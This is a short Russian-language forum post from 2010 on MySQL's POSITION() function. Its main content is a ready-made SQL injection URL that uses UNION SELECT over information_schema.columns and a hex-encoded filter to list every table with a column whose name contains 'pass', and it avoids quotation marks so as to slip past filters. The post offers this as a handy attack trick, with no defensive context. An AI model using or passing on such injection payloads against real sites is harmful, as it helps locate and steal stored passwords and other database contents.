15.12.2010, 07:01
|
|
Познающий
Регистрация: 19.07.2010
Сообщений: 91
С нами:
8324246
Репутация:
19
|
|
Возвращает позицию вхождения подстроки в строку или ноль если строка не найдена.
Функция таит в себе огромные возможности. Как вам например такой запрос:
Код:
http://site.ru/index.php?id=1+UNION+SELECT+1,group_concat(concat_ws(0x3a,table_schema,table_name,column_name))+FROM+information_schema.columns+WHERE+position(0x70617373+in+column_name)+--+
Выводит все таблицы в названии полей которых есть "pass". Причем кавычки не используются. |
|
|